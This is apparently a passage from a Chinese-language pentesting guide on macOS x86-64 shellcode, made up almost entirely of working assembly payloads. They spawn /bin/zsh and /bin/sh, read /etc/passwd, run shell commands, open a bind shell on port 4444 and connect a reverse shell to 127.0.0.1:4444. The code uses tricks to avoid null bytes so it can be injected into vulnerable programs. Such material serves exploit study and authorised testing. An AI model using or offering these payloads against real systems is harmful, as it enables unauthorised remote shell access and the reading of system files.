```armasm
bits 64
global _main
_main:
call r_cmd64
db '/bin/zsh', 0
r_cmd64: ; the call placed a pointer to db (argv[2])
pop rdi ; arg1 from the stack placed by the call to l_cmd64
xor rdx, rdx ; store null arg3
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
````
```armasm
bits 64
global _main
_main:
xor rdx, rdx ; zero our RDX
push rdx ; push NULL string terminator
mov rbx, '/bin/zsh' ; move the path into RBX
push rbx ; push the path, to the stack
mov rdi, rsp ; store the stack pointer in RDI (arg1)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
**使用 cat 命令读取**
目标是执行 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`，因此第二个参数 (x1) 是一个参数数组 (在内存中意味着地址的堆栈)。
```armasm
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48`
lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"
; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi ; Add "/etc/passwd" to the stack (arg0)
push rdi ; Add "/bin/cat" to the stack (arg1)
; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp ; argv=rsp - store RSP's value in RSI
xor rdx, rdx ; Clear rdx to hold NULL (no environment variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall ; Make the syscall
section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
```
**使用 sh 调用命令**
```armasm
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 32 ; Create space on the stack
; Argument array
lea rdi, [rel touch_command]
push rdi ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi ; push &"-c"
lea rdi, [rel sh_path]
push rdi ; push &"/bin/sh"
; execve syscall
mov rsi, rsp ; rsi = pointer to argument array
xor rdx, rdx ; rdx = NULL (no env variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
_exit:
xor rdi, rdi ; Exit status code 0
push 1 ; put 1 on the stack (exit syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
section .data
sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
```
**绑定 shell**
绑定 shell 来自 在 **端口 4444** 上。
```armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xffffffffa3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; bind(host_sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x68
syscall
; listen(host_sockid, 2)
xor rsi, rsi
mov sil, 0x2
mov rax, r8
mov al, 0x6a
syscall
; accept(host_sockid, 0, 0)
xor rsi, rsi
xor rdx, rdx
mov rax, r8
mov al, 0x1e
syscall
mov rdi, rax
mov sil, 0x3
dup2:
; dup2(client_sockid, 2)
; -> dup2(client_sockid, 1)
; -> dup2(client_sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
mov rax, r8
mov al, 0x3b
syscall
```
**反向Shell**
从获取反向shell。反向shell连接到**127.0.0.1:4444**
```armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xfeffff80a3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; connect(sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x62
syscall
xor rsi, rsi
mov sil, 0x3
dup2:
; dup2(sockid, 2)
; -> dup2(sockid, 1)
; -> dup2(sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
xor rdx, rdx
mov rax, r8
mov al, 0x3b
syscall
```